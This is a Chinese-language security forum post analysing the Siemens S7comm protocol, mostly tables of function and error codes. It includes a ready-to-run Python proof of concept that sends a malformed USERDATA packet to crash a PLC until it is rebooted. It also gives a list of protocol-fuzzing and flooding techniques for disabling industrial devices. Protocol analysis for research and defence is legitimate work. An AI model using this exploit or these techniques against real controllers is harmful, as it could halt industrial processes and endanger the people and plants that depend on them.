吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 3258|回复: 1
收起左侧

[Python 转载] S7comm协议-设备漏洞分析

[复制链接]
Db2k 发表于 2021-7-6 15:38
本帖最后由 Db2k 于 2021-7-6 15:41 编辑

哥们主要是做协议方面的,此篇也只做协议方面的分析。

先说结论 —— 此POC可将设备打为宕机状态需重启才可恢复

功能码附录:
0x00        CPU services        CPU服务
0xf0            Setup communication        建立通信
0x04        Read Var        读取值
0x05        Write Var        写入值
0x1a        Request download        请求下载
0x1b        Download block        下载块
0x1c            Download ended        下载结束
0x1d        Start upload        开始上传
0x1e            Upload        上传
0x1f            End upload        上传结束
0x28        PI-Service        程序调用服务
0x29        PLC Stop        关闭PLC

S7协议一般具有三层 header、parameter、data 根据事先功能不同,协议结构会有所不同
此Pcap包很简单
建立通信 —— 回应请求 —— 发送畸形包

Snipaste_2021-07-06_11-23-17.png

Byte[0] 32 为 协议ID   一般指定为0x32
Byte[1] 01 为 PDU类型  一般有0x01 Job 主设备发起请求 0x02 Ack 确认响应 0x03 Ack_data 确认数据响应一般作为确认0x01的请求 0x07 USERDATA         协议的扩展,参数字段包含请求/响应ID
Byte[2]Byte[3] 00 00冗余数据,通常为0×0000
Byte[4]Byte[5] 3e 02协议数据单元的参考、通过请求事件增加
Byte[6]Byte[7] 00 08参数的总长度 也就是parameter的长度
Byte[8]Byte[9] 00 00数据的长度、也就是data部分数据的长度 如果无即为0
Parameter层
Byte[0] f0 为PDU的类型 也就是功能码
Byte[1] 00 冗余数据,通常为0×0000
Byte[2] Byte[3]  job呼唤
Byte[4] Byte[5]  job呼叫
Byte[6] Byte[7]  协商的PDU长度

Snipaste_2021-07-06_11-23-17.png
这是设备回包
可以看到基本与发包是相似的
无非多了错误类型和错误码

错误类型附录:
0x00        No error        没有错误
0x81        Application relationship        应用关系
0x82        Object definition        对象定义
0x83        No resources available        没有可用资源
0x84        Error on service processing        服务处理中错误
0x85        Error on supplies        请求错误
0x87        Access error        访问错误

错误码附录:
0x0000        没有错误
0x0110        块号无效
0x0111        请求长度无效
0x0112        参数无效
0x0113        块类型无效
0x0114        找不到块
0x0115        块已存在
0x0116        块被写保护
0x0117        块/操作系统更新太大
0x0118        块号无效
0x0119        输入的密码不正确
0x011A        PG资源错误
0x011B        PLC资源错误
0x011C        协议错误
0x011D        块太多(与模块相关的限制)
0x011E        不再与数据库建立连接,或者S7DOS句柄无效
0x011F        结果缓冲区太小
0x0120        块结束列表
0x0140        可用内存不足
0x0141        由于缺少资源,无法处理作业
0x8001        当块处于当前状态时,无法执行请求的服务
0x8003        S7协议错误:传输块时发生错误
0x8100        应用程序,一般错误:远程模块未知的服务
0x8104        未在模块上实现此服务或报告了帧错误
0x8204        对象的类型规范不一致
0x8205        复制的块已存在且未链接
0x8301        模块上的内存空间或工作内存不足,或者指定的存储介质不可访问
0x8302        可用资源太少或处理器资源不可用
0x8304        无法进一步并行上传。存在资源瓶颈
0x8305        功能不可用
0x8306        工作内存不足(用于复制,链接,加载AWP)
0x8307        保持性工作记忆不够(用于复制,链接,加载AWP)
0x8401        S7协议错误:无效的服务序列(例如,加载或上载块)
0x8402        由于寻址对象的状态,服务无法执行
0x8404        S7协议:无法执行该功能
0x8405        远程块处于DISABLE状态(CFB)。该功能无法执行
0x8500        S7协议错误:帧错误
0x8503        来自模块的警报:服务过早取消
0x8701        寻址通信伙伴上的对象时出错(例如,区域长度错误)
0x8702        模块不支持所请求的服务
0x8703        拒绝访问对象
0x8704        访问错误:对象已损坏
0xD001        协议错误:非法的作业号
0xD002        参数错误:非法的作业变体
0xD003        参数错误:模块不支持调试功能
0xD004        参数错误:作业状态非法
0xD005        参数错误:作业终止非法
0xD006        参数错误:非法链路断开ID
0xD007        参数错误:缓冲区元素数量非法
0xD008        参数错误:扫描速率非法
0xD009        参数错误:执行次数非法
0xD00A        参数错误:非法触发事件
0xD00B        参数错误:非法触发条件
0xD011        调用环境路径中的参数错误:块不存在
0xD012        参数错误:块中的地址错误
0xD014        参数错误:正在删除/覆盖块
0xD015        参数错误:标签地址非法
0xD016        参数错误:由于用户程序错误,无法测试作业
0xD017        参数错误:非法触发号
0xD025        参数错误:路径无效
0xD026        参数错误:非法访问类型
0xD027        参数错误:不允许此数据块数
0xD031        内部协议错误
0xD032        参数错误:结果缓冲区长度错误
0xD033        协议错误:作业长度错误
0xD03F        编码错误:参数部分出错(例如,保留字节不等于0)
0xD041        数据错误:非法状态列表ID
0xD042        数据错误:标签地址非法
0xD043        数据错误:找不到引用的作业,检查作业数据
0xD044        数据错误:标签值非法,检查作业数据
0xD045        数据错误:HOLD中不允许退出ODIS控制
0xD046        数据错误:运行时测量期间非法测量阶段
0xD047        数据错误:“读取作业列表”中的非法层次结构
0xD048        数据错误:“删除作业”中的非法删除ID
0xD049        “替换作业”中的替换ID无效
0xD04A        执行'程序状态'时出错
0xD05F        编码错误:数据部分出错(例如,保留字节不等于0,...)
0xD061        资源错误:没有作业的内存空间
0xD062        资源错误:作业列表已满
0xD063        资源错误:触发事件占用
0xD064        资源错误:没有足够的内存空间用于一个结果缓冲区元素
0xD065        资源错误:没有足够的内存空间用于多个结果缓冲区元素
0xD066        资源错误:可用于运行时测量的计时器被另一个作业占用
0xD067        资源错误:“修改标记”作业过多(特别是多处理器操作)
0xD081        当前模式下不允许使用的功能
0xD082        模式错误:无法退出HOLD模式
0xD0A1        当前保护级别不允许使用的功能
0xD0A2        目前无法运行,因为正在运行的函数会修改内存
0xD0A3        I / O上活动的“修改标记”作业太多(特别是多处理器操作)
0xD0A4        '强制'已经建立
0xD0A5        找不到引用的作业
0xD0A6        无法禁用/启用作业
0xD0A7        无法删除作业,例如因为当前正在读取作业
0xD0A8        无法替换作业,例如因为当前正在读取或删除作业
0xD0A9        无法读取作业,例如因为当前正在删除作业
0xD0AA        处理操作超出时间限制
0xD0AB        进程操作中的作业参数无效
0xD0AC        进程操作中的作业数据无效
0xD0AD        已设置操作模式
0xD0AE        作业是通过不同的连接设置的,只能通过此连接进行处理
0xD0C1        访问标签时至少检测到一个错误
0xD0C2        切换到STOP / HOLD模式
0xD0C3        访问标记时至少检测到一个错误。模式更改为STOP / HOLD
0xD0C4        运行时测量期间超时
0xD0C5        块堆栈的显示不一致,因为块被删除/重新加载
0xD0C6        作业已被删除,因为它所引用的作业已被删除
0xD0C7        由于退出了STOP模式,因此作业被自动删除
0xD0C8        由于测试作业和正在运行的程序之间不一致,“块状态”中止
0xD0C9        通过复位OB90退出状态区域
0xD0CA        通过在退出前重置OB90并访问错误读取标签退出状态范围
0xD0CB        外设输出的输出禁用再次激活
0xD0CC        调试功能的数据量受时间限制
0xD201        块名称中的语法错误
0xD202        函数参数中的语法错误
0xD205        RAM中已存在链接块:无法进行条件复制
0xD206        EPROM中已存在链接块:无法进行条件复制
0xD208        超出模块的最大复制(未链接)块数
0xD209        (至少)模块上找不到给定块之一
0xD20A        超出了可以与一个作业链接的最大块数
0xD20B        超出了一个作业可以删除的最大块数
0xD20C        OB无法复制,因为关联的优先级不存在
0xD20D        SDB无法解释(例如,未知数)
0xD20E        没有(进一步)阻止可用
0xD20F        超出模块特定的最大块大小
0xD210        块号无效
0xD212        标头属性不正确(与运行时相关)
0xD213        SDB太多。请注意对正在使用的模块的限制
0xD216        无效的用户程序 - 重置模块
0xD217        不允许在模块属性中指定的保护级别
0xD218        属性不正确(主动/被动)
0xD219        块长度不正确(例如,第一部分或整个块的长度不正确)
0xD21A        本地数据长度不正确或写保护错误
0xD21B        模块无法压缩或压缩早期中断
0xD21D        传输的动态项目数据量是非法的
0xD21E        无法为模块(例如FM,CP)分配参数。系统数据无法链接
0xD220        编程语言无效。请注意对正在使用的模块的限制
0xD221        连接或路由的系统数据无效
0xD222        全局数据定义的系统数据包含无效参数
0xD223        通信功能块的实例数据块错误或超出最大背景数据块数
0xD224        SCAN系统数据块包含无效参数
0xD225        DP系统数据块包含无效参数
0xD226        块中发生结构错误
0xD230        块中发生结构错误
0xD231        至少有一个已加载的OB无法复制,因为关联的优先级不存在
0xD232        加载块的至少一个块编号是非法的
0xD234        块在指定的内存介质或作业中存在两次
0xD235        该块包含不正确的校验和
0xD236        该块不包含校验和
0xD237        您将要加载块两次,即CPU上已存在具有相同时间戳的块
0xD238        指定的块中至少有一个不是DB
0xD239        至少有一个指定的DB在装载存储器中不可用作链接变量
0xD23A        至少有一个指定的DB与复制和链接的变体有很大不同
0xD240        违反了协调规则
0xD241        当前保护级别不允许该功能
0xD242        处理F块时的保护冲突
0xD250        更新和模块ID或版本不匹配
0xD251        操作系统组件序列不正确
0xD252        校验和错误
0xD253        没有可用的可执行加载程序; 只能使用存储卡进行更新
0xD254        操作系统中的存储错误
0xD280        在S7-300 CPU中编译块时出错
0xD2A1        块上的另一个块功能或触发器处于活动状态
0xD2A2        块上的触发器处于活动状态。首先完成调试功能
0xD2A3        块未激活(链接),块被占用或块当前被标记为删除
0xD2A4        该块已被另一个块函数处理
0xD2A6        无法同时保存和更改用户程序
0xD2A7        块具有“未链接”属性或未处理
0xD2A8        激活的调试功能阻止将参数分配给CPU
0xD2A9        正在为CPU分配新参数
0xD2AA        当前正在为模块分配新参数
0xD2AB        当前正在更改动态配置限制
0xD2AC        正在运行的激活或取消激活分配(SFC 12)暂时阻止R-KiR过程
0xD2B0        在RUN(CiR)中配置时发生错误
0xD2C0        已超出最大工艺对象数
0xD2C1        模块上已存在相同的技术数据块
0xD2C2        无法下载用户程序或下载硬件配置
0xD401        信息功能不可用
0xD402        信息功能不可用
0xD403        服务已登录/注销(诊断/ PMC)
0xD404        达到的最大节点数。不再需要登录诊断/ PMC
0xD405        不支持服务或函数参数中的语法错误
0xD406        当前不可用的必需信息
0xD407        发生诊断错误
0xD408        更新已中止
0xD409        DP总线错误
0xD601        函数参数中的语法错误
0xD602        输入的密码不正确
0xD603        连接已合法化
0xD604        已启用连接
0xD605        由于密码不存在,因此无法进行合法化
0xD801        至少有一个标记地址无效
0xD802        指定的作业不存在
0xD803        非法的工作状态
0xD804        非法循环时间(非法时基或多个)
0xD805        不能再设置循环读取作业
0xD806        引用的作业处于无法执行请求的功能的状态
0xD807        功能因过载而中止,这意味着执行读取周期所需的时间比设置的扫描周期时间长
0xDC01        日期和/或时间无效
0xE201        CPU已经是主设备
0xE202        由于闪存模块中的用户程序不同,无法进行连接和更新
0xE203        由于固件不同,无法连接和更新
0xE204        由于内存配置不同,无法连接和更新
0xE205        由于同步错误导致连接/更新中止
0xE206        由于协调违规而拒绝连接/更新
0xEF01        S7协议错误:ID2错误; 工作中只允许00H
0xEF02        S7协议错误:ID2错误; 资源集不存在

Snipaste_2021-07-06_11-23-17.png
这就是关键的一层啦
header和Parmeter与连接包结构是一样的就不做展开了

这个大家也可以明显的看到 Wirshark没有解析出来
因为这个结构是不符合S7comm协议的结构
header和Parmeter是没有错误的,暂时咱们先不管。
在Data一层中 数据的长度与Data层的长度也都正常,唯一不正常的就是携带的数据
01 02 03 04 05 06 07 08 09

Snipaste_2021-07-06_15-32-49.png
这个则为此功能的正常报文 对比一下就可以看到

是我以下所说的访问数据区域造成的崩溃

放个POC吧

# -*- coding: utf-8 -*-
#!/usr/bin/python
import socket
import time
import sys

target_host="10.0.6.101"
target_port=102 

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5) 
try:
        sock.connect((target_host, target_port))
except:
        print('Failed to connect DUT.')
        sys.exit()

req='0300001611e00000000100c1020100c2020200c0010a'
sock.send(bytearray.fromhex(req))
sock.recv(4096)
req1='0300001902f08032010000020000080000f0000001000101e0'
sock.send(bytearray.fromhex(req1))
sock.recv(4096)
packet ='0300002902f080320700000000000c000c000112081247020002000000ff090009010203040506070809'
sock.send(bytearray.fromhex(packet))
sock.close()

很简单的协议利用,但主要的是对协议的分析。
稍微的提几句吧。

如何利用协议无非几点要素
1、长度的变异-协议一般会有长度字段,比如我发送了1446长度的数据,但是数据长度字段我设置为6byte,那么就有可能造成栈溢出。
2、数据区域的变异-大家知道我们访问某一个文件那么他在硬盘里是有特定的位置去表达,那么如果说我访问了没有被分配的物理位置那是不是也可能造成野指针的现象,与此同理。
3、特定的功能码-很多协议有一些特定的功能码是不会对外部开放的,普通的操作是不会操作到诸如此类的功能,那么我们就可以对功能码做一个遍历的操作,可能有一些重启-关机-重置等高危指令(但一般这种会伴随其它操作进行)
4、携带畸形数据-因数据是需要经过程序处理,所以有些数据程序在处理的过程中会对程序有一定的影响,比如开关量中我携带第三种指令数据等等等...
5、泛洪攻击-这种目前很多程序以及有了相应的防范,所以见效并不大。
6、连接泛洪-持续的建立连接与关闭连接,因为有些程序没做连接池的回收(相比较而言 还是比普通泛洪攻击常见些)所以很容易的将连接池占满。
7、协议结构变异-此类如果细分的话是可以分到以上几种,此类大体上是不做变异,但是在特定的结构总少发一层等等

如何防范

防火墙解万愁(最有效的防范方式,但防范方式单一)
其它的也不能说太多....        

免费评分

参与人数 2吾爱币 +2 热心值 +2 收起 理由
gentlespider + 1 + 1 不明觉厉
EliVenom + 1 + 1 谢谢@Thanks!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

jswxtj 发表于 2021-7-8 10:23
分析的很到位。工控行业的漏洞。
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-25 16:00

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表